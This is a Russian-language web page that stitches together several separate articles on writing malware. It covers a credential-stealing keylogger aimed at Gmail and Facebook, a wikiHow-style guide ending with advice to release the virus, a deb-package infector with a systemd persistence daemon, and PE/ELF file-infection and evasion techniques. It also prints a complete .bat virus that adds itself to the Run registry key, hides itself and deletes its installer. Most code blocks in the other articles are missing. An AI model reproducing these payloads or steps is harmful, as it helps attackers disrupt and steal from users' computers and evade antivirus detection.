Описание для создания вируса

Обновлено: 24.04.2024

image

Хакерский мир можно условно разделить на три группы атакующих:

Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.

Зачем ИБ-персоналу эти сомнительные навыки?

Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.

Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.

Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.

Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:

Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:

Умный кейлогер

Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.

Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.

Вторая версия кода:

Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.

Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.

Еще более умный кейлогер

Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.

Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:

Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.

Бесплатно и полностью не обнаружим

В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.

Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?

Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.

image

В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.

Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.

В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.

wikiHow работает по принципу вики, а это значит, что многие наши статьи написаны несколькими авторами. При создании этой статьи над ее редактированием и улучшением работали, в том числе анонимно, 12 человек(а).

Вам когда-нибудь хотелось создать собственный вирус, возможно для обучения или для забавы? На создание вируса уйдет время и потребуются знания, но на это способен каждый человек, если захочет. Создание вируса может научить вас основам программирования на определенном языке, а также знаниям операционных систем и сетевой безопасности. Посмотрите Шаг 1, чтобы начать.

Изображение с названием Create a Virus Step 1

  • Mac OS X и Linux считаются более защищенными от вирусных атак (связано с работой прав доступа и архитектурой операционной системы). 95% всех вирусов нацелены на пользователей Windows.

Изображение с названием Create a Virus Step 2

Изображение с названием Create a Virus Step 3

Найдите слабое место для атаки. Успешные вирусы используют слабые места в программах и системной безопасности, чтобы работать и распространяться. На это уходит много исследований и знаний, но существуют специализированные сообщества, которые могут с этим помочь.

Изображение с названием Create a Virus Step 4

Изображение с названием Create a Virus Step 5

  • Если вы хотите создать исполняющие вирусы, то поищите курсы C и C++ в интернете.
  • Если вы хотите создать макро вирусы, то выучите язык макросов для нужной программы, например, Microsoft Office.
  • Visual Basic может быть использован для создания вредоносных программ для пользователей Windows.

Изображение с названием Create a Virus Step 6

  • Узнайте о полиморфном коде. Это изменит код вашей программы после каждой реплики, скрывая вирус от антивирусных программ. Полиморфный код будет довольно продвинутым шагом, который создается различными способами в разных языках программирования.

Изображение с названием Create a Virus Step 7

Узнайте о способах спрятать ваш код. Кроме полиморфного кода, существуют способы спрятать ваш вирус. Шифрование является очень популярным инструментом среди разработчиков вирусов. На это уходит много времени и чтения, но в результате вы сможете защитить и продлить жизнь вашему вирусу.

  • Постарайтесь проводить тесты в закрытой сборке так, чтобы избежать случайного попадания вашего вируса в сеть. Поставьте тестовые машины в отдельную сеть и протестируйте распространение вируса.
  • Улучшайте код вашего вируса по ходу тестирования. Работайте над ошибками вашего кода.

Изображение с названием Create a Virus Step 9

Выпустите ваш вирус. Если вы удовлетворены работой вашего вируса, то настало время его выпустить. Но до того, подумайте, готовы ли к последствиям, которые возможны из-за вашего вируса. Возможно вам стоит использовать ваши знания и работать над другими проектами. [2] X Источник информации

image


Дисклеймер

Данная статья написана в ознакомительных целях. Автор ни в коем случае не призывает читателей к нарушению законодательства РФ. Пожалуйста, не повторяйте действия, описанные в данной статье, предварительно не ознакомившись с главой 28 УК РФ.

И что мы, собственно, будем делать?

Еще необходимо, чтобы вирус автоматически запускался, и через каждый определенный период времени сканировал компьютер в поисках deb-пакетов. Для удобства отладки я выбрал период равный 10 минутам.

Что такое deb-пакет?

Deb-пакет представляет из себя архив формата .ar, который не использует сжатие. Внутри архива еще три файла: debian-bynary, control.tar и data.tar

control.tar — архив с файлами, содержащими информацию о пакете (например — обязательный файл control) и пакеты, необходимые для установки пакета (например — скрипты preinst, postinst, prerm и postrm, запускаемые до/после установки/удаления пакета). Может быть сжат с помощью gzip или xz, в таком случае к имени архива добавляется расширение .gz или .xz соответственно.

data.tar — архив с директориями, содержащими устанавливаемые файлы. Директории представлены деревом, в виде которого они должны извлечься в корень файловой системы. Может быть сжат с помощью gzip, bzip2, lzma, xz.

Нам необходимо обратить внимание на файл control из архива control.tar. Этот файл содержит информацию о пакете, такую как автор, описание, версию, приоритет пакета в системе и т. д. Меня интересует поле depends, в котором указаны зависимости (пакеты, без которых по из данного пакета не может работать). В это поле наш вирус будет дописывать fakeroot и dpkg — утилиты, которые понадобятся при модификации других пакетов на зараженном компьютере.

Для сборки deb-пакета создается корневая директория пакета. В нее кладутся директории с устанавливаемыми файлами и директория DEBIAN, содержащую служебные файлы, среди которых control и скрипты для установки/удаления. Затем выполняется команда fakeroot dpkg-deb --build ./path.

Сначала был демон

На момент написания вируса я еще плохо представлял, что такое Cron, и поэтому пошел путем написания собственного демона для systemd. Я создал файл trojan_penguin.service, который будет помещаться в директорию /lib/systemd/system, и добавил в нее следующее:


ExecStart=/usr/bin/trojan_penguin.sh — тут я указал путь к файлу (к будущему вирусу), который должен запускаться при старте системы.

Type=fork — это строка показывает, что процесс должен ответвиться от родительского процесса.
Я не видел необходимости в PID-файле, по этому я не стал его добавлять.

В мануалах по написанию своего демона фалы .service предлагается размещать в директориях /usr/lib/systemd/system/ или /etc/systemd/system/. Но я в своей убунте нашел директорию /lib/systemd/system. (у меня туда попал apache2.service). Может быть кто-нибудь в комментариях напишет, для чего нужна эта директория, и чем она отличается от двух других.

Файл /usr/bin/trojan_penguin.sh у меня получился таким:


Мы ищем deb-пакеты в разделе /home (а где их еще искать то?), пути к найденным файлам записываем в переменную list. Потом просто перебираем все строки из line и для каждого файла запускаем скрипт tp_infect.sh, который заразит этот файл. Когда я писал вирус, скрипты находились в отдельной директории, и для удобства я создал переменную debug, в которой я прописал путь к этой папке.

Демон готов, осталось научиться его запускать при старте системы. Для этого я написал скрипт postinstall. Он будет запускаться сразу после установки зараженного пакета и указывать, чтобы наш вирус запускался вместе с системой. Разместил я его в директории "/usr/bin/", чтобы от туда копировать его в заражаемые пакеты.

Модифицируем deb-пакет

Как я писал выше, архивы, содержащиеся в deb-пакете могут иметь разные разрешения. Я не стал заморачиваться, и рассмотрел только тот случай, когда архивы сжаты с помощью .xz. Файл /usr/bin/tp_infect.sh, отвечающий за модификацию, получил такое содержимое:

Проблемы с postinstall

Все бы хорошо, но теперь у нас проблема. А что если в пакете уже есть postinstal? Оригинальный postinstal может быть написан на разных языках (python, bash. ), может это даже бинарник. Это не позволят нам просто взять и дописать свой postinstall в него. Я решил эту проблему следующим образом:


А в postinstal вот это:

Собираем воедино

Вирус готов. Вот ссылка на GitHub, как и обещал. Этот вирус можно собрать в отдельный deb-пакет (запустите makedeb.sh) из репозитория. Чтобы внедрить вирус в какой-либо пакет, достаточно выполнить команду:


В репозитории есть две копии скрипта postinst

DEBIAN/postinst — эта копия выполняется только при установке пустого пакета с вирусом. Я его закомментировал, чтобы вирус не запускался после установки, а модивиццировал пакеты только по команде.

usr/bin/postinst — это копия вставляется в заражаемые пакеты.

А вывод очевиден и без этой статьи: не стоит скачивать и запускать программы из непроверенных источников.

Ради любопытства, я отправил deb-пакет с вирусом на VirusTotal для анализа. На момент написания статьи ни один антивирус не задетектировал его. Вот ссылка на отчет. Интересно, сколько должно пройти времени, и сколько хостов нужно заразить этим вирусом, чтобы антивирусы обратили на него внимание?

В интернете очень мало информации о вирусах для Linux систем, а в частности для семейства linux. Я хочу развить эту тему на Хабре в виде серии из нескольких статей. Прошу, ответить на опрос: какие из тем по вашему мнению являются наиболее интересными?


Поговорим о компьютерных вирусах? Нет, не о том, что вчера поймал ваш антивирус. Не о том, что вы скачали под видом инсталлятора очередного Photoshop. Не о rootkit-e, который стоит на вашем сервере, маскируясь под системный процесс. Не о поисковых барах, downloader-ах и другой малвари. Не о коде, который делает плохие вещи от вашего имени и хочет ваши деньги. Нет, всё это коммерция, никакой романтики…

В общем, для статьи вполне достаточно лирики, перейдем к делу. Я хочу рассказать о классическом вирусе, его структуре, основных понятиях, методах детектирования и алгоритмах, которые используются обеими сторонами для победы.

Мы будем говорить о вирусах, живущих в исполняемых файлах форматов PE и ELF, то есть о вирусах, тело которых представляет собой исполняемый код для платформы x86. Кроме того, пусть наш вирус не будет уничтожать исходный файл, полностью сохраняя его работоспособность и корректно инфицируя любой подходящий исполняемый файл. Да, ломать гораздо проще, но мы же договорились говорить о правильных вирусах, да? Чтобы материал был актуальным, я не буду тратить время на рассмотрение инфекторов старого формата COM, хотя именно на нем были обкатаны первые продвинутые техники работы с исполняемым кодом.

Начнём со свойств кода вируса. Чтобы код удобней было внедрять, разделять код и данные не хочется, поэтому обычно используется интеграция данных прямо в исполняемый код. Ну, например, так:


Все эти варианты кода при определенных условиях можно просто скопировать в память и сделать JMP на первую инструкцию. Правильно написав такой код, позаботившись о правильных смещениях, системных вызовах, чистоте стека до и после исполнения, и т.д., его можно внедрять внутрь буфера с чужим кодом.

  • Куда положить вирус? Необходимо найти достаточно места, чтобы вирус туда поместился, записать его туда, по возможности не разломав файл и так, чтобы в области, в которой вирус окажется, было разрешено исполнение кода.
  • Как передать управление на вирус? Просто положить вирус в файл недостаточно, надо еще совершить переход на его тело, а после завершения его работы вернуть управление программе-жертве. Или в другом порядке, но, в любом случае, мы же договорились не ломать ничего, да?

Исполняемый файл (PE или ELF) состоит из заголовка и набора секций. Секции – это выровненные (см. ниже) буферы с кодом или данными. При запуске файла секции копируются в память и под них выделяется память, причем совсем необязательно того объёма, который они занимали на диске. Заголовок содержит разметку секций, и сообщает загрузчику, как расположены секции в файле, когда он лежит на диске, и каким образом необходимо расположить их в памяти перед тем, как передать управление коду внутри файла. Для нас интересны три ключевых параметра для каждой секции, это psize, vsize, и flags. Psize (physical size) представляет собой размер секции на диске. Vsize (virtual size) – размер секции в памяти после загрузки файла. Flags – атрибуты секции (rwx). Psize и Vsize могут существенно различаться, например, если программист объявил в программе массив в миллион элементов, но собирается заполнять его в процессе исполнения, компилятор не увеличит psize (на диске содержимое массива хранить до запуска не нужно), а вот vsize увеличит на миллион чего-то там (в runtime для массива должно быть выделено достаточно памяти).

Флаги (атрибуты доступа) будут присвоены страницам памяти, в которые секция будет отображена. Например, секция с исполняемым кодом будет иметь атрибуты r_x (read, execute), а секция данных атрибуты rw_ (read,write). Процессор, попытавшись исполнить код на странице без флага исполнения, сгенерирует исключение, то же касается попытки записи на страницу без атрибута w, поэтому, размещая код вируса, вирмейкер должен учитывать атрибуты страниц памяти, в которых будет располагаться код вируса. Стандартные секции неинициализированных данных (например, область стека программы) до недавнего времени имели атрибуты rwx (read, write, execute), что позволяло копировать код прямо в стек и исполнять его там. Сейчас это считается немодным и небезопасным, и в последних операционных системах область стека предназначена только для данных. Разумеется, программа может и сама изменить атрибуты страницы памяти в runtime, но это усложняет реализацию.

Также, в заголовке лежит Entry Point — адрес первой инструкции, с которой начинается исполнение файла.

Необходимо упомянуть и о таком важном для вирмейкеров свойстве исполняемых файлов, как выравнивание. Для того чтобы файл оптимально читался с диска и отображался в память, секции в исполняемых файлах выровнены по границам, кратным степеням двойки, а свободное место, оставшееся от выравнивания (padding) заполнено чем-нибудь на усмотрение компилятора. Например, логично выравнивать секции по размеру страницы памяти – тогда ее удобно целиком копировать в память и назначать атрибуты. Даже вспоминать не буду про все эти выравнивания, везде, где лежит мало-мальски стандартный кусок данных или кода, его выравнивают (любой программист знает, что в километре ровно 1024 метра). Ну а описание стандартов Portable Executable (PE) и Executable Linux Format (ELF) для работающего с методами защиты исполняемого кода – это настольные книжки.

  • поставить указатель точно на начало какой-нибудь инструкции (просто так взять рандомное место в исполняемой секции и начать дизассемблирование с него нельзя, один и тот же байт может быть и опкодом инструкции, и данными)
  • определить длину инструкции (для архитектуры x86 инструкции имеют разные длины)
  • переместить указатель вперед на эту длину. Мы окажемся на начале следующей инструкции.
  • повторять, пока не решим остановиться
  1. Выбираем вкусный исполняемый файл (достаточно толстый, чтобы в него поместилось тело вируса, с нужным распределением секций и т.п.).
  2. Читаем свой код (код тела вируса).
  3. Берем несколько первых инструкций из файла-жертвы.
  4. Дописываем их к коду вируса (сохраняем информацию, необходимую для восстановления работоспособности).
  5. Дописываем к коду вируса переход на инструкцию, продолжающую исполнение кода-жертвы. Таким образом, после исполнения собственного кода вирус корректно исполнит пролог кода-жертвы.
  6. Создаем новую секцию, записываем туда код вируса и правим заголовок.
  7. На место этих первых инструкций кладем переход на код вируса.

Думаю, не надо описывать вам компоненты современного антивируса, все они крутятся вокруг одного функционала – антивирусного детектора. Монитор, проверяющий файлы на лету, сканирование дисков, проверка почтовых вложений, карантин и запоминание уже проверенных файлов – все это обвязка основного детектирующего ядра. Второй ключевой компонент антивируса – пополняемые базы признаков, без которых поддержание антивируса в актуальном состоянии невозможно. Третий, достаточно важный, но заслуживающий отдельного цикла статей компонент – мониторинг системы на предмет подозрительной деятельности.

Итак (рассматриваем классические вирусы), на входе имеем исполняемый файл и один из сотни тысяч потенциальных вирусов в нем. Давайте детектировать. Пусть это кусок исполняемого кода вируса:

  • сокрытие кода самого вируса;
  • сокрытие его точки входа.

Сокрытие точки входа (Entry Point Obscuring) в результате послужило толчком для появления в вирусных движках автоматических дизассемблеров для определения, как минимум, инструкций перехода. Вирус старается скрыть место, с которого происходит переход на его код, используя из файла то, что в итоге приводит к переходу: JMP, CALL, RET всякие, таблицы адресов и т.п. Таким образом, вирус затрудняет указание смещения сигнатуры.

Гораздо более подробно некоторые алгоритмы таких движков и детектора мы посмотрим во второй статье, которую я планирую написать в ближайшее время.

Рассмотренный в статье детектор легко детектирует неполиморфные (мономорфными их назвать, что ли) вирусы. Ну а переход к полиморфным вирусам является отличным поводом, наконец, завершить эту статью, пообещав вернуться к более интересным методам сокрытия исполняемого кода во второй части.

как создать вирус

Создание самых простых вирусов не требует наличия специальных сред для разработки программ. И особых знаний, кстати, тоже. Создать вирусы довольно просто, если использовать для этого командную строку. Для этого нужно немного знать синтаксис командной строки и уметь создавать .bat-файлы.

Что такое .bat-файл и как его создать?

Если очень поверхностно, то это файлы с расширением .bat. Такие файлы несут в себе команды, которые должны быть выполнены командным интерпретатором Windows. Все те команды, которые можно выполнить в окне командной строки, можно вписать в .bat-файл и запустить. Результат будет одинаковым.

Чтобы создать .bat-вирус, нам нужен обычный текстовый редактор. В идеале подойдет для этих целей Блокнот. Создав и открыв новый текстовый документ, Вам нужно вписать туда тот код(команды), которые он должен выполнить. После этого, Вам нужно с помощью меню Сохранить как сохранить этот файл, задав ему какое-либо имя с расширением .bat и указав тип файла Все файлы.

Создаем простейший вирус

В данной статье мы рассмотрим создание вируса, который после своего запуска будет бесконечно открывать окно командной строки. Бесконечно и очень быстро открывающиеся окна командной строки не дадут пользователю спокойно работать. Закрыть их всех не успеет никто и очень скоро они забьют оперативную память компьютера, что в свою очередь сильно затормозит работу компьютера, вплоть до полного зависания. Выглядеть это будет приблизительно так:

Вирус, который бесконечно открывает окно командной строки

Вдобавок, мы закинем наш вирус в автозагрузку, что обеспечит автоматический запуск вируса вместе с операционной системой.

Код создаваемого вируса

Сколько программистов, столько разных решений можно придумать для каждой задачи. Я приведу один из своих методов решения такой задачи.

[code]md c:\papka
echo start c:\papka\virus.bat>c:\papka\virus.bat
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v virus /d c:\papka\virus.bat
attrib +r +h +s c:\papka
attrib +r +h +s c:\papka\virus.bat
start c:\papka\virus.bat
del %0[/code]

А теперь разберем сам код. Первая строчка создает папку с именем papka в корне диска C:/. Такой адрес приведен только для примера. Использование же корня папки C:/ не совсем хороший вариант для вируса. Если Вы хотите обеспечить хорошую выживаемость Вашему вирусу, лучше всего спрятать его подальше. Первую команду можно даже пропустить, если Вы закинете сам вирус в уже созданную директорию.

Вторая строчка создает файл c:\papka\virus.bat и, с помощью команды echo, вписывает в него команду start c:\papka\virus.bat. Тут нужно знать, что после знака > указывается место вывода приведенной команды. Тут Вам нужно познакомится: c:\papka\virus.bat и есть основное тело вируса. Созданный нами .bat-файл с кодом, который мы сейчас разбираем, является всего лишь установщиком нашего основного вируса. Вы можете использовать другое название и другое местоположение для вируса.

Третья строчка закидывает созданный нами во второй строчке тело вируса в автозагрузку. Для этого используется пользовательская ветка реестра, так как к ней у пользователя всегда есть доступ. А вот использовать автозагрузку компьютера не безопасно, так как пользователь может не иметь административного доступа, что вызовет ненужную ошибку.

Четвертая и пятая строка кода изменяют атрибуты вируса и папки, где хранится вирус. Данными командами, а для этого используется команда attrib, мы добавляем атрибуты Только чтение, Скрытый и Системный и для папки, и для вируса. Использование атрибута r(Только чтение) необязательно. А вот атрибуты Скрытый и Системный хорошо защитят созданный нами вирус. Если не верите, то почитайте статью про вирус, который превращает папки на флешке в ярлыки. Он использует именно эту технологию.

6-ая строчка кода запускает наш вирус. Вы можете пропустить этот пункт, если хотите, чтобы первый запуск вируса произошел только после перезагрузки компьютера.

И, наконец-то, последняя, 7-ая строчка удаляет данный .bat-вирус. Это полезно, так как по этому .bat-файлу можно спокойно выйти на созданный нами вирус и удалить его.

Смысл созданного вируса

Смысл вируса, который уместился в эти 7 строк — создать основной вирус, защитить его и обеспечить его постоянную работу. А так же подмести свои следы. А что делает основной вирус? После запуска основного вируса, он выполняет ту команду, которая вписана в нее. А это команда, в свою очередь, запускает наш вирус, который опять-таки снова запускает самого себя. И так до бесконечности.

Как бороться с такими вирусами?

Во-первых, начало борьбы с данным вирусом начнется после того, как он запуститься. Очень скоро вирус заполнит своими копиями оперативную память и Вы даже мышкой шевельнуть не сможете. Поэтому, такой спектакль нужно пресекать сразу. Для этого прекрасно подойдет кнопка Break на клавиатуре. Жмите ее столько, сколько понадобится, чтобы новые копии перестали создаваться. На клавиатурах без кнопки Break, может помочь сочетание клавиш Ctrl+C.

Как удалить такой вирус?

Вы можете найти и удалить вирус через его запись в автозагрузке(подробнее по ссылке). А так же Вы можете выйти на вирус по команде, которая будет высвечиваться в окне командного интерпретатора. Естественно, если Вы сможете добраться до скрытого и системного файла. Вот таким образом происходит создание простого вируса.

Читайте также: